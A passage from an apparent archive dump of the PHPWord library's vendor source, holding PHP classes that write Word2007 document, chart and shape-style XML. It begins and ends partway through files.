    /**
     * Set element.
     *
     * @param \PhpOffice\PhpWord\Element\Comment[] $elements
     *
     * @return self
     */
    public function setElements($elements)
    {
        $this->elements = $elements;

        return $this;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Document.php000066600000013644151150442730021554 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Element\Section;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Writer\Word2007\Element\Container;
use PhpOffice\PhpWord\Writer\Word2007\Style\Section as SectionStyleWriter;

/**
 * Word2007 document part writer: word/document.xml.
 */
class Document extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $xmlWriter = $this->getXmlWriter();

        $sections = $phpWord->getSections();
        $sectionCount = count($sections);
        $currentSection = 0;
        $drawingSchema = 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing';

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('w:document');
        $xmlWriter->writeAttribute('xmlns:ve', 'http://schemas.openxmlformats.org/markup-compatibility/2006');
        $xmlWriter->writeAttribute('xmlns:o', 'urn:schemas-microsoft-com:office:office');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');
        $xmlWriter->writeAttribute('xmlns:m', 'http://schemas.openxmlformats.org/officeDocument/2006/math');
        $xmlWriter->writeAttribute('xmlns:v', 'urn:schemas-microsoft-com:vml');
        $xmlWriter->writeAttribute('xmlns:wp', $drawingSchema);
        $xmlWriter->writeAttribute('xmlns:w10', 'urn:schemas-microsoft-com:office:word');
        $xmlWriter->writeAttribute('xmlns:w', 'http://schemas.openxmlformats.org/wordprocessingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:wne', 'http://schemas.microsoft.com/office/word/2006/wordml');

        $xmlWriter->startElement('w:body');

        if ($sectionCount > 0) {
            foreach ($sections as $section) {
                ++$currentSection;

                $containerWriter = new Container($xmlWriter, $section);
                $containerWriter->write();

                if ($currentSection == $sectionCount) {
                    $this->writeSectionSettings($xmlWriter, $section);
                } else {
                    $this->writeSection($xmlWriter, $section);
                }
            }
        }

        $xmlWriter->endElement(); // w:body
        $xmlWriter->endElement(); // w:document

        return $xmlWriter->getData();
    }

    /**
     * Write begin section.
     */
    private function writeSection(XMLWriter $xmlWriter, Section $section): void
    {
        $xmlWriter->startElement('w:p');
        $xmlWriter->startElement('w:pPr');
        $this->writeSectionSettings($xmlWriter, $section);
        $xmlWriter->endElement();
        $xmlWriter->endElement();
    }

    /**
     * Write end section.
     */
    private function writeSectionSettings(XMLWriter $xmlWriter, Section $section): void
    {
        $xmlWriter->startElement('w:sectPr');

        // Header reference
        foreach ($section->getHeaders() as $header) {
            $rId = $header->getRelationId();
            $xmlWriter->startElement('w:headerReference');
            $xmlWriter->writeAttribute('w:type', $header->getType());
            $xmlWriter->writeAttribute('r:id', 'rId' . $rId);
            $xmlWriter->endElement();
        }

        // Footer reference
        foreach ($section->getFooters() as $footer) {
            $rId = $footer->getRelationId();
            $xmlWriter->startElement('w:footerReference');
            $xmlWriter->writeAttribute('w:type', $footer->getType());
            $xmlWriter->writeAttribute('r:id', 'rId' . $rId);
            $xmlWriter->endElement();
        }

        // Different first page
        if ($section->hasDifferentFirstPage()) {
            $xmlWriter->startElement('w:titlePg');
            $xmlWriter->endElement();
        }

        // Footnote properties
        if ($section->getFootnoteProperties() !== null) {
            $xmlWriter->startElement('w:footnotePr');
            if ($section->getFootnoteProperties()->getPos() != null) {
                $xmlWriter->startElement('w:pos');
                $xmlWriter->writeAttribute('w:val', $section->getFootnoteProperties()->getPos());
                $xmlWriter->endElement();
            }
            if ($section->getFootnoteProperties()->getNumFmt() != null) {
                $xmlWriter->startElement('w:numFmt');
                $xmlWriter->writeAttribute('w:val', $section->getFootnoteProperties()->getNumFmt());
                $xmlWriter->endElement();
            }
            if ($section->getFootnoteProperties()->getNumStart() != null) {
                $xmlWriter->startElement('w:numStart');
                $xmlWriter->writeAttribute('w:val', $section->getFootnoteProperties()->getNumStart());
                $xmlWriter->endElement();
            }
            if ($section->getFootnoteProperties()->getNumRestart() != null) {
                $xmlWriter->startElement('w:numRestart');
                $xmlWriter->writeAttribute('w:val', $section->getFootnoteProperties()->getNumRestart());
                $xmlWriter->endElement();
            }
            $xmlWriter->endElement();
        }

        // Section settings
        $styleWriter = new SectionStyleWriter($xmlWriter, $section->getStyle());
        $styleWriter->write();

        $xmlWriter->endElement(); // w:sectPr
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Part/Chart.php000066600000040174151150442730021035 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Part;

use PhpOffice\PhpWord\Element\Chart as ChartElement;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Word2007 chart part writer: word/charts/chartx.xml.
 *
 * @since 0.12.0
 * @see  http://www.datypic.com/sc/ooxml/e-draw-chart_chartSpace.html
 */
class Chart extends AbstractPart
{
    /**
     * Chart element.
     *
     * @var \PhpOffice\PhpWord\Element\Chart
     */
    private $element;

    /**
     * Type definition.
     *
     * @var array
     */
    private $types = [
        'pie' => ['type' => 'pie', 'colors' => 1],
        'doughnut' => ['type' => 'doughnut', 'colors' => 1, 'hole' => 75, 'no3d' => true],
        'bar' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'bar', 'grouping' => 'clustered'],
        'stacked_bar' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'bar', 'grouping' => 'stacked'],
        'percent_stacked_bar' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'bar', 'grouping' => 'percentStacked'],
        'column' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'col', 'grouping' => 'clustered'],
        'stacked_column' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'col', 'grouping' => 'stacked'],
        'percent_stacked_column' => ['type' => 'bar', 'colors' => 0, 'axes' => true, 'bar' => 'col', 'grouping' => 'percentStacked'],
        'line' => ['type' => 'line', 'colors' => 0, 'axes' => true],
        'area' => ['type' => 'area', 'colors' => 0, 'axes' => true],
        'radar' => ['type' => 'radar', 'colors' => 0, 'axes' => true, 'radar' => 'standard', 'no3d' => true],
        'scatter' => ['type' => 'scatter', 'colors' => 0, 'axes' => true, 'scatter' => 'marker', 'no3d' => true],
    ];

    /**
     * Chart options.
     *
     * @var array
     */
    private $options = [];

    /**
     * Set chart element.
     */
    public function setElement(ChartElement $element): void
    {
        $this->element = $element;
    }

    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8', 'yes');
        $xmlWriter->startElement('c:chartSpace');
        $xmlWriter->writeAttribute('xmlns:c', 'http://schemas.openxmlformats.org/drawingml/2006/chart');
        $xmlWriter->writeAttribute('xmlns:a', 'http://schemas.openxmlformats.org/drawingml/2006/main');
        $xmlWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships');

        $this->writeChart($xmlWriter);
        $this->writeShape($xmlWriter);

        $xmlWriter->endElement(); // c:chartSpace

        return $xmlWriter->getData();
    }

    /**
     * Write chart.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_Chart.html
     */
    private function writeChart(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('c:chart');

        $this->writePlotArea($xmlWriter);

        $xmlWriter->endElement(); // c:chart
    }

    /**
     * Write plot area.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_PlotArea.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_PieChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_DoughnutChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_BarChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_LineChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_AreaChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_RadarChart.html
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_ScatterChart.html
     */
    private function writePlotArea(XMLWriter $xmlWriter): void
    {
        $type = $this->element->getType();
        $style = $this->element->getStyle();
        $this->options = $this->types[$type];

        $title = $style->getTitle();
        $showLegend = $style->isShowLegend();
        $legendPosition = $style->getLegendPosition();

        //Chart title
        if ($title) {
            $xmlWriter->startElement('c:title');
            $xmlWriter->startElement('c:tx');
            $xmlWriter->startElement('c:rich');
            $xmlWriter->writeRaw('
                <a:bodyPr/>
                <a:lstStyle/>
                <a:p>
                <a:pPr>
                <a:defRPr/></a:pPr><a:r><a:rPr/><a:t>' . $title . '</a:t></a:r>
                <a:endParaRPr/>
                </a:p>');
            $xmlWriter->endElement(); // c:rich
            $xmlWriter->endElement(); // c:tx
            $xmlWriter->endElement(); // c:title
        } else {
            $xmlWriter->writeElementBlock('c:autoTitleDeleted', 'val', 1);
        }

        //Chart legend
        if ($showLegend) {
            $xmlWriter->writeRaw('<c:legend><c:legendPos val="' . $legendPosition . '"/></c:legend>');
        }

        $xmlWriter->startElement('c:plotArea');
        $xmlWriter->writeElement('c:layout');

        // Chart
        $chartType = $this->options['type'];
        $chartType .= $style->is3d() && !isset($this->options['no3d']) ? '3D' : '';
        $chartType .= 'Chart';
        $xmlWriter->startElement("c:{$chartType}");

        $xmlWriter->writeElementBlock('c:varyColors', 'val', $this->options['colors']);
        if ($type == 'area') {
            $xmlWriter->writeElementBlock('c:grouping', 'val', 'standard');
        }
        if (isset($this->options['hole'])) {
            $xmlWriter->writeElementBlock('c:holeSize', 'val', $this->options['hole']);
        }
        if (isset($this->options['bar'])) {
            $xmlWriter->writeElementBlock('c:barDir', 'val', $this->options['bar']); // bar|col
            $xmlWriter->writeElementBlock('c:grouping', 'val', $this->options['grouping']); // 3d; standard = percentStacked
        }
        if (isset($this->options['radar'])) {
            $xmlWriter->writeElementBlock('c:radarStyle', 'val', $this->options['radar']);
        }
        if (isset($this->options['scatter'])) {
            $xmlWriter->writeElementBlock('c:scatterStyle', 'val', $this->options['scatter']);
        }

        // Series
        $this->writeSeries($xmlWriter, isset($this->options['scatter']));

        // don't overlap if grouping is 'clustered'
        if (!isset($this->options['grouping']) || $this->options['grouping'] != 'clustered') {
            $xmlWriter->writeElementBlock('c:overlap', 'val', '100');
        }

        // Axes
        if (isset($this->options['axes'])) {
            $xmlWriter->writeElementBlock('c:axId', 'val', 1);
            $xmlWriter->writeElementBlock('c:axId', 'val', 2);
        }

        $xmlWriter->endElement(); // chart type

        // Axes
        if (isset($this->options['axes'])) {
            $this->writeAxis($xmlWriter, 'cat');
            $this->writeAxis($xmlWriter, 'val');
        }

        $xmlWriter->endElement(); // c:plotArea
    }

    /**
     * Write series.
     *
     * @param bool $scatter
     */
    private function writeSeries(XMLWriter $xmlWriter, $scatter = false): void
    {
        $series = $this->element->getSeries();
        $style = $this->element->getStyle();
        $colors = $style->getColors();

        $index = 0;
        $colorIndex = 0;
        foreach ($series as $seriesItem) {
            $categories = $seriesItem['categories'];
            $values = $seriesItem['values'];

            $xmlWriter->startElement('c:ser');

            $xmlWriter->writeElementBlock('c:idx', 'val', $index);
            $xmlWriter->writeElementBlock('c:order', 'val', $index);

            if (null !== $seriesItem['name'] && $seriesItem['name'] != '') {
                $xmlWriter->startElement('c:tx');
                $xmlWriter->startElement('c:strRef');
                $xmlWriter->startElement('c:strCache');
                $xmlWriter->writeElementBlock('c:ptCount', 'val', 1);
                $xmlWriter->startElement('c:pt');
                $xmlWriter->writeAttribute('idx', 0);
                $xmlWriter->startElement('c:v');
                $xmlWriter->writeRaw($seriesItem['name']);
                $xmlWriter->endElement(); // c:v
                $xmlWriter->endElement(); // c:pt
                $xmlWriter->endElement(); // c:strCache
                $xmlWriter->endElement(); // c:strRef
                $xmlWriter->endElement(); // c:tx
            }

            // The c:dLbls was added to make word charts look more like the reports in SurveyGizmo
            // This section needs to be made configurable before a pull request is made
            $xmlWriter->startElement('c:dLbls');

            foreach ($style->getDataLabelOptions() as $option => $val) {
                $xmlWriter->writeElementBlock("c:{$option}", 'val', (int) $val);
            }

            $xmlWriter->endElement(); // c:dLbls

            if (isset($this->options['scatter'])) {
                $this->writeShape($xmlWriter);
            }

            if ($scatter === true) {
                $this->writeSeriesItem($xmlWriter, 'xVal', $categories);
                $this->writeSeriesItem($xmlWriter, 'yVal', $values);
            } else {
                $this->writeSeriesItem($xmlWriter, 'cat', $categories);
                $this->writeSeriesItem($xmlWriter, 'val', $values);

                // check that there are colors
                if (is_array($colors) && count($colors) > 0) {
                    // assign a color to each value
                    $valueIndex = 0;
                    for ($i = 0; $i < count($values); ++$i) {
                        // check that there are still enought colors
                        $xmlWriter->startElement('c:dPt');
                        $xmlWriter->writeElementBlock('c:idx', 'val', $valueIndex);
                        $xmlWriter->startElement('c:spPr');
                        $xmlWriter->startElement('a:solidFill');
                        $xmlWriter->writeElementBlock('a:srgbClr', 'val', $colors[$colorIndex++ % count($colors)]);
                        $xmlWriter->endElement(); // a:solidFill
                        $xmlWriter->endElement(); // c:spPr
                        $xmlWriter->endElement(); // c:dPt
                        ++$valueIndex;
                    }
                }
            }

            $xmlWriter->endElement(); // c:ser
            ++$index;
        }
    }

    /**
     * Write series items.
     *
     * @param string $type
     * @param array $values
     */
    private function writeSeriesItem(XMLWriter $xmlWriter, $type, $values): void
    {
        $types = [
            'cat' => ['c:cat', 'c:strLit'],
            'val' => ['c:val', 'c:numLit'],
            'xVal' => ['c:xVal', 'c:strLit'],
            'yVal' => ['c:yVal', 'c:numLit'],
        ];
        [$itemType, $itemLit] = $types[$type];

        $xmlWriter->startElement($itemType);
        $xmlWriter->startElement($itemLit);
        $xmlWriter->writeElementBlock('c:ptCount', 'val', count($values));

        $index = 0;
        foreach ($values as $value) {
            $xmlWriter->startElement('c:pt');
            $xmlWriter->writeAttribute('idx', $index);
            if (\PhpOffice\PhpWord\Settings::isOutputEscapingEnabled()) {
                $xmlWriter->writeElement('c:v', $value);
            } else {
                $xmlWriter->startElement('c:v');
                $xmlWriter->writeRaw($value);
                $xmlWriter->endElement(); // c:v
            }
            $xmlWriter->endElement(); // c:pt
            ++$index;
        }

        $xmlWriter->endElement(); // $itemLit
        $xmlWriter->endElement(); // $itemType
    }

    /**
     * Write axis.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-draw-chart_CT_CatAx.html
     *
     * @param string $type
     */
    private function writeAxis(XMLWriter $xmlWriter, $type): void
    {
        $style = $this->element->getStyle();
        $types = [
            'cat' => ['c:catAx', 1, 'b', 2],
            'val' => ['c:valAx', 2, 'l', 1],
        ];
        [$axisType, $axisId, $axisPos, $axisCross] = $types[$type];

        $xmlWriter->startElement($axisType);

        $xmlWriter->writeElementBlock('c:axId', 'val', $axisId);
        $xmlWriter->writeElementBlock('c:axPos', 'val', $axisPos);

        $categoryAxisTitle = $style->getCategoryAxisTitle();
        $valueAxisTitle = $style->getValueAxisTitle();

        if ($axisType == 'c:catAx') {
            if (null !== $categoryAxisTitle) {
                $this->writeAxisTitle($xmlWriter, $categoryAxisTitle);
            }
        } elseif ($axisType == 'c:valAx') {
            if (null !== $valueAxisTitle) {
                $this->writeAxisTitle($xmlWriter, $valueAxisTitle);
            }
        }

        $xmlWriter->writeElementBlock('c:crossAx', 'val', $axisCross);
        $xmlWriter->writeElementBlock('c:auto', 'val', 1);

        if (isset($this->options['axes'])) {
            $xmlWriter->writeElementBlock('c:delete', 'val', 0);
            $xmlWriter->writeElementBlock('c:majorTickMark', 'val', $style->getMajorTickPosition());
            $xmlWriter->writeElementBlock('c:minorTickMark', 'val', 'none');
            if ($style->showAxisLabels()) {
                if ($axisType == 'c:catAx') {
                    $xmlWriter->writeElementBlock('c:tickLblPos', 'val', $style->getCategoryLabelPosition());
                } else {
                    $xmlWriter->writeElementBlock('c:tickLblPos', 'val', $style->getValueLabelPosition());
                }
            } else {
                $xmlWriter->writeElementBlock('c:tickLblPos', 'val', 'none');
            }
            $xmlWriter->writeElementBlock('c:crosses', 'val', 'autoZero');
        }
        if (isset($this->options['radar']) || ($type == 'cat' && $style->showGridX()) || ($type == 'val' && $style->showGridY())) {
            $xmlWriter->writeElement('c:majorGridlines');
        }

        $xmlWriter->startElement('c:scaling');
        $xmlWriter->writeElementBlock('c:orientation', 'val', 'minMax');
        $xmlWriter->endElement(); // c:scaling

        $this->writeShape($xmlWriter, true);

        $xmlWriter->endElement(); // $axisType
    }

    /**
     * Write shape.
     *
     * @see  http://www.datypic.com/sc/ooxml/t-a_CT_ShapeProperties.html
     *
     * @param bool $line
     */
    private function writeShape(XMLWriter $xmlWriter, $line = false): void
    {
        $xmlWriter->startElement('c:spPr');
        $xmlWriter->startElement('a:ln');
        if ($line === true) {
            $xmlWriter->writeElement('a:solidFill');
        } else {
            $xmlWriter->writeElement('a:noFill');
        }
        $xmlWriter->endElement(); // a:ln
        $xmlWriter->endElement(); // c:spPr
    }

    private function writeAxisTitle(XMLWriter $xmlWriter, $title): void
    {
        $xmlWriter->startElement('c:title'); //start c:title
        $xmlWriter->startElement('c:tx'); //start c:tx
        $xmlWriter->startElement('c:rich'); // start c:rich
        $xmlWriter->writeElement('a:bodyPr');
        $xmlWriter->writeElement('a:lstStyle');
        $xmlWriter->startElement('a:p');
        $xmlWriter->startElement('a:pPr');
        $xmlWriter->writeElement('a:defRPr');
        $xmlWriter->endElement(); // end a:pPr
        $xmlWriter->startElement('a:r');
        $xmlWriter->writeElementBlock('a:rPr', 'lang', 'en-US');

        $xmlWriter->startElement('a:t');
        $xmlWriter->writeRaw($title);
        $xmlWriter->endElement(); //end a:t

        $xmlWriter->endElement(); // end a:r
        $xmlWriter->endElement(); //end a:p
        $xmlWriter->endElement(); //end c:rich
        $xmlWriter->endElement(); // end c:tx
        $xmlWriter->writeElementBlock('c:overlay', 'val', '0');
        $xmlWriter->endElement(); // end c:title
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Line.php000066600000004535151150442730021056 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Style\Line as LineStyle;

/**
 * Line style writer.
 */
class Line extends Frame
{
    /**
     * Write Line stroke.
     *
     * @todo Merge with `Stroke` style
     */
    public function writeStroke(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $style = $this->getStyle();
        if (!$style instanceof LineStyle) {
            return;
        }

        $dash = $style->getDash();
        $dashStyles = [
            LineStyle::DASH_STYLE_DASH => 'dash',
            LineStyle::DASH_STYLE_ROUND_DOT => '1 1',
            LineStyle::DASH_STYLE_SQUARE_DOT => '1 1',
            LineStyle::DASH_STYLE_DASH_DOT => 'dashDot',
            LineStyle::DASH_STYLE_LONG_DASH => 'longDash',
            LineStyle::DASH_STYLE_LONG_DASH_DOT => 'longDashDot',
            LineStyle::DASH_STYLE_LONG_DASH_DOT_DOT => 'longDashDotDot',
        ];

        $xmlWriter->startElement('v:stroke');

        $xmlWriter->writeAttributeIf($style->getWeight() !== null, 'weight', $style->getWeight() . 'pt');
        $xmlWriter->writeAttributeIf($style->getColor() !== null, 'color', $style->getColor());
        $xmlWriter->writeAttributeIf($style->getBeginArrow() !== null, 'startarrow', $style->getBeginArrow());
        $xmlWriter->writeAttributeIf($style->getEndArrow() !== null, 'endarrow', $style->getEndArrow());

        if ($dash !== null) {
            if (isset($dashStyles[$dash])) {
                $xmlWriter->writeAttribute('dashstyle', $dashStyles[$dash]);
            }
            if ($dash == LineStyle::DASH_STYLE_ROUND_DOT) {
                $xmlWriter->writeAttribute('endcap', 'round');
            }
        }

        $xmlWriter->endElement(); //v:stroke
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Fill.php000066600000002230151150442730021043 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Fill style writer.
 *
 * @since 0.12.0
 */
class Fill extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Fill) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->writeAttribute('on', 't');
        $xmlWriter->writeAttributeIf($style->getColor() !== null, 'fillcolor', $style->getColor());
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/TextBox.php000066600000003372151150442730021562 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Style\TextBox as TextBoxStyle;

/**
 * TextBox style writer.
 *
 * @since 0.11.0
 */
class TextBox extends Frame
{
    /**
     * Writer inner margin.
     */
    public function writeInnerMargin(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof TextBoxStyle || !$style->hasInnerMargins()) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();
        $margins = implode(', ', $style->getInnerMargin());

        $xmlWriter->writeAttribute('inset', $margins);
    }

    /**
     * Writer border.
     */
    public function writeBorder(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof TextBoxStyle) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('v:stroke');
        $xmlWriter->writeAttributeIf($style->getBorderSize() !== null, 'weight', $style->getBorderSize() . 'pt');
        $xmlWriter->writeAttributeIf($style->getBorderColor() !== null, 'color', $style->getBorderColor());
        $xmlWriter->endElement(); // v:stroke
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Shape.php000066600000002411151150442730021216 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Shape style writer.
 *
 * @since 0.12.0
 */
class Shape extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Shape) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();

        $childStyles = ['Frame', 'Fill', 'Outline', 'Shadow', 'Extrusion'];
        foreach ($childStyles as $childStyle) {
            $method = "get{$childStyle}";
            $this->writeChildStyle($xmlWriter, $childStyle, $style->$method());
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/LineNumbering.php000066600000002736151150442730022726 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Line numbering style writer.
 *
 * @since 0.10.0
 */
class LineNumbering extends AbstractStyle
{
    /**
     * Write style.
     * The w:start seems to be zero based so we have to decrement by one.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\LineNumbering) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:lnNumType');
        $xmlWriter->writeAttribute('w:start', $style->getStart() - 1);
        $xmlWriter->writeAttribute('w:countBy', $style->getIncrement());
        $xmlWriter->writeAttribute('w:distance', $style->getDistance());
        $xmlWriter->writeAttribute('w:restart', $style->getRestart());
        $xmlWriter->endElement();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/MarginBorder.php000066600000007062151150442730022540 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Margin border style writer.
 *
 * @since 0.10.0
 */
class MarginBorder extends AbstractStyle
{
    /**
     * Sizes.
     *
     * @var int[]
     */
    private $sizes = [];

    /**
     * Colors.
     *
     * @var string[]
     */
    private $colors = [];

    /**
     * Border styles.
     *
     * @var string[]
     */
    private $styles = [];

    /**
     * Other attributes.
     *
     * @var array
     */
    private $attributes = [];

    /**
     * Write style.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $sides = ['top', 'left', 'right', 'bottom', 'insideH', 'insideV'];

        foreach ($this->sizes as $i => $size) {
            if ($size !== null) {
                $color = null;
                if (isset($this->colors[$i])) {
                    $color = $this->colors[$i];
                }
                $style = $this->styles[$i] ?? 'single';
                $this->writeSide($xmlWriter, $sides[$i], $this->sizes[$i], $color, $style);
            }
        }
    }

    /**
     * Write side.
     *
     * @param string $side
     * @param int $width
     * @param string $color
     * @param string $borderStyle
     */
    private function writeSide(XMLWriter $xmlWriter, $side, $width, $color = null, $borderStyle = 'solid'): void
    {
        $xmlWriter->startElement('w:' . $side);
        if (!empty($this->colors)) {
            if ($color === null && !empty($this->attributes)) {
                if (isset($this->attributes['defaultColor'])) {
                    $color = $this->attributes['defaultColor'];
                }
            }
            $xmlWriter->writeAttribute('w:val', $borderStyle);
            $xmlWriter->writeAttribute('w:sz', $width);
            $xmlWriter->writeAttributeIf($color != null, 'w:color', $color);
            if (!empty($this->attributes)) {
                if (isset($this->attributes['space'])) {
                    $xmlWriter->writeAttribute('w:space', $this->attributes['space']);
                }
            }
        } else {
            $xmlWriter->writeAttribute('w:w', $width);
            $xmlWriter->writeAttribute('w:type', 'dxa');
        }
        $xmlWriter->endElement();
    }

    /**
     * Set sizes.
     *
     * @param int[] $value
     */
    public function setSizes($value): void
    {
        $this->sizes = $value;
    }

    /**
     * Set colors.
     *
     * @param array<null|string> $value
     */
    public function setColors($value): void
    {
        $this->colors = $value;
    }

    /**
     * Set border styles.
     *
     * @param string[] $value
     */
    public function setStyles($value): void
    {
        $this->styles = $value;
    }

    /**
     * Set attributes.
     *
     * @param array $value
     */
    public function setAttributes($value): void
    {
        $this->attributes = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Frame.php000066600000012467151150442730021224 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
